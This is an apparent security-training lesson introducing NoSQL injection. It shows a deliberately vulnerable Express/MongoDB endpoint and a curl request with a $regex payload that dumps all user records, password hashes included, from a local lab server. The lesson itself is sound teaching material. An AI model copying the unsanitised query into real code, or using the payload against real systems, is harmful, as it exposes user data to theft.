Introduction to NoSQL Injection  

Introduction to NoSQL Injection


What is NoSQL Injection?

When user input is incorporated into a NoSQL query without being properly sanitized first, NoSQL injection may occur. If an attacker can control part of the query, they may subvert the logic and get the server to carry out unintended actions / return unintended results. Since NoSQL has no standardized query language like SQL does, NoSQL injection attacks look different in the various NoSQL implementation.


Scenario (Node.JS)

Let's imagine an Express / Node.JS webserver that uses MongoDB to store its user's information. This server has the endpoint /api/v1/getUser, which allows you to retrieve a user's information from their username.

// Express is a Web-Framework for Node.JS
const express = require('express');
const app = express();
app.use(express.json()); // Tell Express to accept JSON request bodies

// MongoDB driver for Node.JS and the connection string
// for our local MongoDB database
const {MongoClient} = require('mongodb');
const uri = "mongodb://127.0.0.1:27017/test";
const client = new MongoClient(uri);

// POST /api/v1/getUser
// Input (JSON): {"username": <username>}
// Returns: User details where username=<username>
app.post('/api/v1/getUser', (req, res) => {
    client.connect(function(_, con) {
        const cursor = con
            .db("example")
            .collection("users")
            .find({username: req.body['username']});
        cursor.toArray(function(_, result) {
            res.send(result);
        });
    });
});

// Tell Express to start our server and listen on port 3000
app.listen(3000, () => {
  console.log(`Listening...`);
});

Note: In practice this would likely be a GET request like /api/v1/getUser/<username>, but for the sake of simplicity it is a POST here.

The intended use of this endpoint looks like this:

[!bash!]$ curl -s -X POST http://127.0.0.1:3000/api/v1/getUser -H 'Content-Type: application/json' -d '{"username": "gerald1992"}' | jq

[
  {
    "_id": "63667326b7417b004543513a",
    "username": "gerald1992",
    "password": "0f626d75b12f77ede3822843320ed7eb",
    "role": 1,
    "email": "[email protected]"
  }
]

We posted the /api/v1/getUser endpoint with the body {"username": "gerald1992"}, and the server used that to generate the full query db.users.find({username: "gerald1992"}) and returned the results to us.

The problem is that the server blindly uses whatever we give it as the username query without any filters or checks. Below is an example of code that is vulnerable to NoSQL injection:

...
.find({username: req.body['username']});
...

A simple example of exploiting this injection vulnerability is using the $regex operator described in the previous section to coerce the server into returning the information of all users (whose usernames match /.*/), like this:

[!bash!]$ curl -s -X POST http://127.0.0.1:3000/api/v1/getUser -H 'Content-Type: application/json' -d '{"username": {"$regex": ".*"}}' | jq

[
  {
    "_id": "63667302b7417b0045435139",
    "username": "bmdyy",
    "password": "f25a2fc72690b780b2a14e140ef6a9e0",
    "role": 0,
    "email": "[email protected]"
  },
  {
    "_id": "63667326b7417b004543513a",
    "username": "gerald1992",
    "password": "0f626d75b12f77ede3822843320ed7eb",
    "role": 1,
    "email": "[email protected]"
  }
]

Types of NoSQL Injection

If you are familiar with SQL injection, then you will already be familiar with the various classes of injections that we may encounter:

  • In-Band: When the attacker can use the same channel of communication to exploit a NoSQL injection and receive the results. The scenario from above is an example of this.
  • Blind: This is when the attacker does not receive any direct results from the NoSQL injection, but they can infer results based on how the server responds.
  • Boolean: Boolean-based is a subclass of blind injections, which is a technique where attackers can force the server to evaluate a query and return one result or the other if it is True or False.
  • Time-Based: Time-based is the other subclass of blind injections, which is when attackers make the server wait for a specific amount of time before responding, usually to indicate if the query is evaluated as True or False.

Moving On

With the basics of NoSQL injection explained, let's move on to some more in-depth examples.

Previous

+10 Streak pts

Next
My Workstation

OFFLINE

/ 1 spawns left